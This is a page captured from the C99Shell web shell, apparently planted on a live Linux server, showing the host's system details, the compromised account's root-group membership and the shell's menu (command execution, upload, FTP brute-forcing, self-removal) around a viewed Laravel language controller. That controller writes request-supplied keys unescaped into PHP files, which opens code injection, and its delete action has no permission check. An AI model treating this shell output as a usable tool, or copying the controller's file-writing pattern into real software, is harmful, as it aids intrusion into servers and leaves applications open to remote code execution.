!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LanguageController.php (8.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Customer;
use 
App\Models\Language;
use 
App\Models\User;
use 
App\Models\Utility;
use 
App\Models\Vender;
use 
App\Models\EmailTemplateLang;
use 
Auth;
use 
Illuminate\Filesystem\Filesystem;
use 
Illuminate\Http\Request;

class 
LanguageController extends Controller
{
    public function 
changeLanquage($lang)
    {
        
$user       Auth::user();
        
$user->lang $lang;
        
$user->save();
        if(
$user->lang == 'ar' || $user->lang =='he'){
            
$value 'on';
        }
        else{
            
$value 'off';
        }
        if(
$user->type == 'super admin'){
            
\DB::insert(
                
'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [
                    
$value,
                    
'SITE_RTL',
                     
\Auth::user()->creatorId(),
                ]
            );
        }
        else{
            
\DB::insert(
                
'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [
                    
$value,
                    
'SITE_RTL',
                     
\Auth::user()->creatorId(),
                ]
            );
        }

        return 
redirect()->back()->with('success'__('Language change successfully.'));
    }

    public function 
manageLanguage($currantLang)
    {
        if(
\Auth::user()->type == 'super admin')
        {
            
$languages Language::pluck('full_name','code');
            
$settings \App\Models\Utility::settings();
            if(!empty(
$settings['disable_lang'])){
                
$disabledLang explode(',',$settings['disable_lang']);
            }
            else{
                
$disabledLang = [];
            }
            
$dir base_path() . '/resources/lang/' $currantLang;
            if(!
is_dir($dir))
            {
                
$dir base_path() . '/resources/lang/en';
            }
            
$arrLabel   json_decode(file_get_contents($dir '.json'));
            
$arrFiles   array_diff(
                
scandir($dir), array(
                    
'..',
                    
'.',
                )
            );
            
$arrMessage = [];
            foreach(
$arrFiles as $file)
            {
                
$fileName basename($file".php");
                
$fileData $myArray = include $dir "/" $file;
                if(
is_array($fileData))
                {
                    
$arrMessage[$fileName] = $fileData;
                }
            }
            return 
view('lang.index'compact('languages''currantLang''arrLabel''arrMessage','disabledLang','settings'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }


    }


    public function 
storeLanguageData(Request $request$currantLang)
    {

        if(
\Auth::user()->type=='super admin')
        {
            
$Filesystem = new Filesystem();
            
$dir        base_path() . '/resources/lang/';
            if(!
is_dir($dir))
            {
                
mkdir($dir);
                
chmod($dir0777);
            }
            
$jsonFile $dir "/" $currantLang ".json";

            if(isset(
$request->label) && !empty($request->label))
            {
                
file_put_contents($jsonFilejson_encode($request->label));
            }

            
$langFolder $dir "/" $currantLang;

            if(!
is_dir($langFolder))
            {
                
mkdir($langFolder);
                
chmod($langFolder0777);
            }
            if(isset(
$request->message) && !empty($request->message))
            {
                foreach(
$request->message as $fileName => $fileData)
                {
                    
$content "<?php return [";
                    
$content .= $this->buildArray($fileData);
                    
$content .= "];";
                    
file_put_contents($langFolder "/" $fileName '.php'$content);
                }
            }


            return 
redirect()->route('manage.language', [$currantLang])->with('success'__('Language save successfully.'));
        }
        else
        {
            return 
redirect()->back();
        }

    }

    public function 
buildArray($fileData)
    {
        
$content "";
        foreach(
$fileData as $lable => $data)
        {
            if(
is_array($data))
            {
                
$content .= "'$lable'=>[" $this->buildArray($data) . "],";
            }
            else
            {
                
$content .= "'$lable'=>'" addslashes($data) . "',";
            }
        }

        return 
$content;
    }

    public function 
createLanguage()
    {
        return 
view('lang.create');
    }

    public function 
storeLanguage(Request $request)
    {

        if(
\Auth::user()->type=='super admin')
        {
            
$Filesystem = new Filesystem();
            
$langCode   strtolower($request->code);
            
$langDir    base_path() . '/resources/lang/';
            
$dir        $langDir;
            if(!
is_dir($dir))
            {
                
mkdir($dir);
                
chmod($dir0777);
            }
            
$dir      $dir '/' $langCode;
            
$jsonFile $dir ".json";
            
\File::copy($langDir 'en.json'$jsonFile);

            if(!
is_dir($dir))
            {
                
mkdir($dir);
                
chmod($dir0777);
            }

            
$languageExist Language::where('code',$request->code)->orWhere('full_name',$request->full_name)->first();
            if(empty(
$languageExist))
            {
                
$language = new Language();
                
$language->code $request->code;
                
$language->full_name $request->full_name;
                
$language->save();
            }
            
$Filesystem->copyDirectory($langDir "en"$dir "/");

            
Utility::emailTemplateLang($request->code);

            return 
redirect()->route('manage.language', [$langCode])->with('success'__('Language successfully created.'));
        }
        else
        {
            return 
redirect()->back();
        }
    }

    public function 
destroyLang($lang)
    {

        
$default_lang env('default_language') ?? 'en';
        
$langDir      base_path() . '/resources/lang/';
        if(
is_dir($langDir))
        {
            
// remove directory and file
            
Utility::delete_directory($langDir $lang);
            
unlink($langDir $lang '.json');
            
// update user that has assign deleted language.
            
User::where('lang''LIKE'$lang)->update(['lang' => $default_lang]);
            
Customer::where('lang''LIKE'$lang)->update(['lang' => $default_lang]);
            
Vender::where('lang''LIKE'$lang)->update(['lang' => $default_lang]);

            
Language::where('code',$lang)->first()->delete();

            
EmailTemplateLang::where('lang' $lang)->delete();
        }

        return 
redirect()->route('manage.language'$default_lang)->with('success'__('Language Deleted Successfully.'));
    }

    public function 
disableLang(Request $request)
    {

        if(
\Auth::user()->type == 'super admin')
        {
            
$settings Utility::settings();
            
$disablelang  '';
            if(
$request->mode == 'off'){
                if(!empty(
$settings['disable_lang'])){
                    
$disablelang $settings['disable_lang'];
                    
$disablelang=$disablelang.','$request->lang;
                }
                else{
                    
$disablelang $request->lang;
                }
                
\DB::insert(
                    
'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [
                        
$disablelang,
                        
'disable_lang',
                        
\Auth::user()->creatorId(),
                    ]
                );
                
$data['message'] = __('Language Disabled Successfully');
                
$data['status'] = 'success';
                return 
$data;



            }else{
                
$disablelang $settings['disable_lang'];
                
$parts explode(','$disablelang);
                while((
$i array_search($request->lang,$parts)) !== false) {
                    unset(
$parts[$i]);
                }
                
\DB::insert(
                    
'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [
                        
implode(','$parts),
                        
'disable_lang',
                        
\Auth::user()->creatorId(),
                    ]
                );
                
$data['message'] = __('Language Enabled Successfully');
                
$data['status'] = 'success';
                return 
$data;
            }

        }
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--